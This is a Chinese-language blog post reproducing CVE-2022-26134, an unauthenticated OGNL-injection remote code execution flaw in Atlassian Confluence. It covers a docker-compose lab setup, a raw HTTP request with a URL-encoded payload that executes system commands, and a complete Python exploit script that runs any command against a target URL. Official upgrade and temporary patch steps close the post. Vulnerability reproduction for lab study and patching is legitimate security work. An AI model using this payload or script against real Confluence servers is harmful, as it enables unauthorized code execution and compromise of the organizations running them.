Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

渗透技巧 2年前 (2022) admin
1,383 0 0

0x01 漏洞描述

 近日,Atlassian官方发布了Confluence Server和Data Center OGNL 注入漏洞(CVE-2022-26134)的安全公告。该漏洞的CVSS评分为10分,目前漏洞细节与PoC已被公开披露,且被检测到存在在野利用。

      Atlassian Confluence是Atlassian公司出品的专业wiki程序。攻击者可利用漏洞在未经身份验证的情况下,远程构造OGNL表达式进行注入,在Confluence Server或Data Center上执行任意代码。请相关用户尽快自检并采取措施进行防护。


0x02 影响范围

     Atlassian Confluence Server and Data Center 用于团队成员之间的协作和知识共享,主要部署在内网,所以互联网上分布较少,主要集中在美国、德国和荷兰。

目前受影响的 Atlassian Confluence Server and Data Center 版本:

Atlassian Confluence Server and Data Center < 7.4.17

7.5.0  ≤ Atlassian Confluence Server and Data Center < 7.13.7

7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3

7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2

7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4

7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4

7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1

0x03 漏洞环境搭建

新建一个docker-compose.yml,内容如下:

version: '2'services:  web:    image: vulhub/confluence:7.13.6    ports:      - "8090:8090"    depends_on:      - db  db:    image: postgres:12.8-alpine    environment:     - POSTGRES_PASSWORD=postgres    - POSTGRES_DB=confluence

执行如下命令启动一个Confluence Server 7.13.6:

docker-compose up -d

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

环境启动后,访问http://your-ip:8090会进入安装引导,会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

提示需要license key

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

Organization随便填一个:

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

生成证书

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

生成license key

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

复制license key下一步

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

 填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres。

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

完了之后按照以下步骤安装设置。

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

选Example Site

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

同样选择第一项

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

配置账号信息

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

搭建成功

0x04 漏洞复现

漏洞利用发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: your-ip:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

OGNL表达式为:

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

0x05 EXP

import requestsimport reimport sysfrom bs4 import BeautifulSoupimport urllib3urllib3.disable_warnings()
def check(host):
r = requests.get(host+"/login.action", verify=False) if(r.status_code == 200): filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text) if(len(filter_version)>=1): version = filter_version[0].split("'>")[1].split('</')[0] return version else: return False else: return hostdef exploit(host, command): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*', } r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False) if(r.status_code == 302): return r.headers['X-Cmd-Response'] else: return False
if(len(sys.argv) < 3): print("USE: python3 " + sys.argv[0] + " https://target.com cmd") print("ex: python3 " + sys.argv[0] + " https://target.com id")
else: target = sys.argv[1] cmd = sys.argv[2] version = check(target) print("============ GET Confluence Version ============") if(version): print("Version: " + version) else: print("Version: Not Found") print(exploit(target, cmd))

exp地址:https://github.com/crowsec-edtech/CVE-2022-26134/


0x06 官方修复建议

    当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:

https://www.atlassian.com/software/confluence/download-archives


0x07 临时修复建议

如果在集群内运行 Confluence 则需要在每个节点上重复以下过程:

1.关闭 Confluence

2.下载https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar

3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar 移出 Confluence  安装目录

注:不要在目录中留下旧的  JAR  文件

4.将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中

5.检查新的 xwork-1.0.3-atlassian-10.jar 文件权限是否和所在目录的其他文件权限一致。

6.启动 Confluence


Confluence 7.0.0 – Confluence 7.14.2 的用户:

如果在集群内运行 Confluence 则需要在每个节点上重复以下过程:

1.关闭 Confluence

2.下载

https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar

https://packages.atlassian.com/maven-internal/opensymphony/webwork/2.1.5-atlassian-4/webwork-2.1.5-atlassian-4.jar

https://confluence.atlassian.com/doc/files/1130377146/1137639562/3/1654274890463/CachedConfigurationProvider.class

3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3.6.jar

/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar

移出 Confluence 安装目录

注:不要在目录中留下旧的  JAR  文件

4. 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中

5.将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中

6.检查两个新文件权限是否和所在目录的其他文件权限一致。

7.切换到目 录/confluence/WEB-INF/classes/com/atlassian/confluence/setup

a.创建一个名为的新目录 webwork

b.将 CachedConfigurationProvider.class 复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork

c.确保 CachedConfigurationProvider.class 文件和/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork 目录权限正确

8.启动 Confluence

详细操作请参考官方:

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

0x08 参考连接

https://mp.weixin.qq.com/s/5g9zL-TT1flhzgQhV13eaA

https://mp.weixin.qq.com/s?__biz=Mzk0NjEyNjY5OQ==&mid=2247487262&idx=2&sn=54dc65ba0e07082dc0bdc1bad4027b86

https://mp.weixin.qq.com/s?__biz=MjM5NzA3Nzg2MA==&mid=2649860192&idx=1&sn=e2333899ee0c0276a71286c6700825bf

https://mp.weixin.qq.com/s?__biz=Mzg5MjQ1MDg2MQ==&mid=2247483762&idx=1&sn=f4904a7d5b010986b43748dfe5cb7857

https://mp.weixin.qq.com/s?__biz=MzI1NDQxMDE0NQ==&mid=2247484095&idx=1&sn=a2706dac64dcba76e3e2efb04e948717

https://mp.weixin.qq.com/s?__biz=Mzg5NTYwMDIyOA==&mid=2247488321&idx=1&sn=17bec17e95ae618bb32f353b88103acd

https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247489417&idx=1&sn=3989375cb9df1833381b8957db81a417

https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650261295&idx=1&sn=d9967671bf700a0b40aed9e695e9401e


0x10 EXP下载

公众号后台回复”20220605“

本文最终解释权归本文作者所有!!!

    本公众号发布的靶场、文章项目中涉及的任何脚本工具,仅用于测试和学习研究,禁止用于商业用途不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断;

     本文章、项目内场所有资源文件,杜绝任何靶本公众号、自媒体进行形式的擅自转载、发布

    本公众号对任何脚本及工具问题概不负责,包括不限于由任何脚本错误导致的任何损失或损害及任何法律责任;

    直接使用本或公众发布的技术、靶场、文章项目中涉及的脚本工具,但在某些行为不符合任何国家/地区或相关地区的情况下进行传播时,引发的隐私或其他任何法律问题的后果概不负责;

    如果任何单位或个人认为项目或文章的内容可能侵犯其权利,则应及时通知并证明其身份,证明我们将在收到证明文件后删除相关内容;

    以任何方式查看或使用此项目的人或直接或间接使用项目的任何脚本的使用者都应仔细阅读此声明;

     本公众号保留更改或补充,免责随时声明的权利;

    一旦您访问或使用访问本公众号任何项目,则视为您已接受此免责声明。

     您在本声明未发出之时,使用或者访问了本公众号任何项目 ,则视为已接受此声明,请仔细阅读。

                                                                                         此致

    由于、利用的信息而造成的任何或直接的此文传播后果,均由用户本人负责,作者不承担任何直接责任。

一切法律后果均由攻击者承担!!!

日站不规范,亲人两行泪!!!

日站不规范,亲人两行泪!!!

日站不规范,亲人两行泪!!!

专注于信息安全方面分享,非营利性组织,不接任何商业广告

关注不迷,点赞!关注!转向!评论!!

要投稿的请留言或者加微信,会第一时间回复,谢谢

Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

原文始发于微信公众号(每天一个入狱小技巧):Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP

版权声明:admin 发表于 2022年6月5日 上午12:29。
转载请注明:Atlassian Confluence 远程代码执行/CVE-2022-26134复现,附EXP | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...